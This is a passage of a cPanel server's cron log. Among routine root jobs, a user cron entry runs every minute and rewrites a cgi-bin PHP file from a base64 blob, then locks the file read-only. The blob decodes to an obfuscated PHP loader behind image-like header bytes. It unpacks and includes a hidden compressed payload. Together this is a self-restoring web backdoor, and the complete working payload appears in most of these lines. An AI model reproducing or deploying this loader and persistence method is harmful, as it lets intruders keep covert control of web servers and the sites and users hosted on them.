"$fp")
Sep  2 22:19:01 server CROND[31829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:19:01 server CROND[31830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:19:01 server CROND[31831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:20:01 server CROND[32207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:20:01 server CROND[32208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:20:01 server CROND[32211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:20:01 server CROND[32214]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:20:01 server CROND[32216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:20:01 server CROND[32217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:20:01 server CROND[32215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:20:01 server CROND[32219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:20:01 server CROND[32218]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:21:01 server CROND[595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:21:01 server CROND[597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:21:01 server CROND[596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:22:01 server CROND[991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:22:01 server CROND[992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:22:01 server CROND[994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:23:01 server CROND[1463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:23:01 server CROND[1464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:23:01 server CROND[1465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:24:01 server CROND[1936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:24:01 server CROND[1937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:24:01 server CROND[1938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:25:02 server CROND[2354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:25:02 server CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:25:02 server CROND[2358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:25:02 server CROND[2356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:25:02 server CROND[2362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:25:02 server CROND[2360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:25:02 server CROND[2359]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 22:25:02 server CROND[2361]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:26:01 server CROND[3217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:26:01 server CROND[3218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:26:01 server CROND[3219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:27:01 server CROND[3589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:27:01 server CROND[3591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:27:01 server CROND[3590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:27:01 server CROND[3592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:28:01 server CROND[3990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:28:01 server CROND[3991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:28:01 server CROND[3992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:29:01 server CROND[4468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:29:01 server CROND[4469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:29:01 server CROND[4470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:30:01 server CROND[4871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:30:01 server CROND[4872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:30:01 server CROND[4873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:30:01 server CROND[4874]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:30:01 server CROND[4876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
